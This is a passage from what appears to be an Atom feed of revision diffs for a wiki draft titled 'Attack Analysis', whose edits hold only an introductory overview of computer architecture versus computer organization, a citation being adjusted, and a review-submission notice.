A useful analogy is architecture in the building sense: two houses can share the same blueprint (architecture) but be constructed with different materials and techniques (organization). Similarly, two processors can implement the same instruction set architecture (ISA) while differing substantially in their internal circuitry and performance characteristics. &amp;lt;nowiki&amp;gt;&amp;lt;ref&amp;gt;&amp;lt;/nowiki&amp;gt;https://doi.org/10.2307/41166326&amp;lt;nowiki&amp;gt;&amp;lt;/ref&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chapter 1: History of Computing ===&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=16</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=16"/>
		<updated>2026-08-08T19:29:37Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Overview ==&lt;br /&gt;
Computer architecture is the conceptual design and fundamental operational structure of a computer system. It describes how hardware components are organized, how they communicate, and how they execute instructions to perform computation. The term is often used interchangeably with &amp;quot;computer organization,&amp;quot; though scholars typically draw a distinction: architecture refers to the attributes visible to a programmer—the instruction set, addressing modes, data types—while organization refers to the operational units and their interconnections that implement those architectural specifications—control signals, memory technology, peripheral interfaces.&lt;br /&gt;
&lt;br /&gt;
A useful analogy is architecture in the building sense: two houses can share the same blueprint (architecture) but be constructed with different materials and techniques (organization). Similarly, two processors can implement the same instruction set architecture (ISA) while differing substantially in their internal circuitry and performance characteristics. &amp;lt;nowiki&amp;gt;&amp;lt;ref&amp;gt; &amp;lt;/ref&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chapter 1: History of Computing ===&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=15</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=15"/>
		<updated>2026-08-08T19:28:27Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== [https://doi.org/10.2307/41166326 Overview] ==&lt;br /&gt;
Computer architecture is the conceptual design and fundamental operational structure of a computer system. It describes how hardware components are organized, how they communicate, and how they execute instructions to perform computation. The term is often used interchangeably with &amp;quot;computer organization,&amp;quot; though scholars typically draw a distinction: architecture refers to the attributes visible to a programmer—the instruction set, addressing modes, data types—while organization refers to the operational units and their interconnections that implement those architectural specifications—control signals, memory technology, peripheral interfaces.&lt;br /&gt;
&lt;br /&gt;
A useful analogy is architecture in the building sense: two houses can share the same blueprint (architecture) but be constructed with different materials and techniques (organization). Similarly, two processors can implement the same instruction set architecture (ISA) while differing substantially in their internal circuitry and performance characteristics. &amp;lt;ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chapter 1: History of Computing ===&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=14</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=14"/>
		<updated>2026-08-08T19:21:27Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Overview ==&lt;br /&gt;
Computer architecture is the conceptual design and fundamental operational structure of a computer system. It describes how hardware components are organized, how they communicate, and how they execute instructions to perform computation. The term is often used interchangeably with &amp;quot;computer organization,&amp;quot; though scholars typically draw a distinction: architecture refers to the attributes visible to a programmer—the instruction set, addressing modes, data types—while organization refers to the operational units and their interconnections that implement those architectural specifications—control signals, memory technology, peripheral interfaces.&lt;br /&gt;
&lt;br /&gt;
A useful analogy is architecture in the building sense: two houses can share the same blueprint (architecture) but be constructed with different materials and techniques (organization). Similarly, two processors can implement the same instruction set architecture (ISA) while differing substantially in their internal circuitry and performance characteristics. &amp;lt;ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chapter 1: History of Computing ===&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=13</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=13"/>
		<updated>2026-08-08T19:21:17Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Overview ==&lt;br /&gt;
Computer architecture is the conceptual design and fundamental operational structure of a computer system. It describes how hardware components are organized, how they communicate, and how they execute instructions to perform computation. The term is often used interchangeably with &amp;quot;computer organization,&amp;quot; though scholars typically draw a distinction: architecture refers to the attributes visible to a programmer—the instruction set, addressing modes, data types—while organization refers to the operational units and their interconnections that implement those architectural specifications—control signals, memory technology, peripheral interfaces.&lt;br /&gt;
&lt;br /&gt;
A useful analogy is architecture in the building sense: two houses can share the same blueprint (architecture) but be constructed with different materials and techniques (organization). Similarly, two processors can implement the same instruction set architecture (ISA) while differing substantially in their internal circuitry and performance characteristics.&lt;br /&gt;
&lt;br /&gt;
=== Chapter 1: History of Computing ===&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=12</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=12"/>
		<updated>2026-08-08T06:39:24Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This is a draft, that is supposed to be unpublished.&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=11</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=11"/>
		<updated>2026-08-08T06:37:42Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: Created page with &amp;quot;{{subst:submit}}&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;border:1px solid #ccc; background:#f8f9fa; padding:10px; margin-bottom:1em;&amp;quot;&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;This draft has been submitted for review.&#039;&#039;&#039; A reviewer will check it for structure, sourcing, and accuracy. You may continue editing while you wait.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
</feed>